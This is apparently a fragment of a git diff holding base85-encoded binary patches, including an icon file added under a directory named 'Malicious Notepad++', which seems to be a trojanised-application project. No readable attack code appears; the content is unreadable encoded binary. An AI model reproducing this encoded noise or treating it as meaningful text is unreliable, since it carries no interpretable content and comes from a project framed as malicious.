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 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/nppNewIcon.ico b/Malicious Notepad++/src/icons/nppNewIcon.ico new file mode 100644 index 0000000000000000000000000000000000000000..2bf7aaa57d8c8ac24e00178cb033eb1365583569 GIT binary patch literal 186712 zcmeFYbyyZ(v@gDBP+AlzNl6Lmk`zHiIwciQ1nHJ~Dd`4LBn%Lc4waG+5D7s-KoIFh zX=&cypnmh5-#O<#&%J-#=ecWU&)RF&`mDWY&wkhJy=Ptk3?KkLK0r7=fGwssv_8I;z)yMR-)F;1m@#&@j^hBL_X4 zre*{x4i-2qdJbrXM1X;l4bF;XXZ_eS8MVGXQ-G zCorWl!?^$vU`!DLmTWfQDCYo{9ARL4DGFC(B!IgfX)DxK5D1Y0iG)kQR-phKFARXa zRud>=T!A6T7T6QKfc>cz@MqfrXQ??z*W3ZNOlRP#@CJosO;CNT16t2D!6g1VIHtRR z^5Ywzoofw>*{)z%=mE+voxr8~CODV7166}Ia5X6dS1WRjpNxR7*AQr0Z@{^BOGLg6 z=lgE}_Xl_2f9r?HZovP^1GpzFfNu&ZfBG&M4Jg5#5o@?MYYi65b`bR45o{%+fyF)= zX}f4(@{I=~uROrNTMmkfk)V1v9-KUa!N%q>gxUlGS2_v=(*1!cJRSH#;(#Of9`HT! z2jQA~KoVOB$AfEtCa4O|#k>TuR|TLFngYfJfnfeB81B4@2ZM-guum=k^@2R$ZHoqu zp$Om~yaz%`M-C%{>K?+2(+VO9jll497z7`816A%M(3H%>>FP~j%AW$3vUyNSeGfX% zI>4%+8}1bMf_r%{i1xRD$l7~2zt|1p>w`eium@6`b0D|S3^J?l;L6M(Xe@pK`L#hX zoB0CTi{qg1V-|EbW%!G7aA`1|`qKtwF0My5bwViF`*J%Wgca>&feg0g}V zC@(LE#{5!JHF*EN1)9FR zgZ2-D@Of|$W=A@pcX|jGr~2UY>=g8_%tOoe7A!2x!Rq1+%&acJ+R7YkeqVv5?QKA# z(f?Ig_}`=(I--%0v5ATQnZqHZS_gYO%gf7S2yhsIj!gVl*da9O$!k_tQ?s)x2oim; zbAUi6ewX^6K!?y|Dko2#q#!>cQpQ_WRuPI`$simxfB(Qj-iX8p^l-BHkF~OwvM5; zp`NCeww4;@*NKsT+B0e&*&mteA-lE?u?w+_rVCO(9Zf@RZHA4pv47e#8yOoJ8oIh5 z?hTPre%fo(>A2D(E(~>;cK+cWhS2KHuCAW0UarQT{wS22u`975u{#|x9X&BUAYR1L 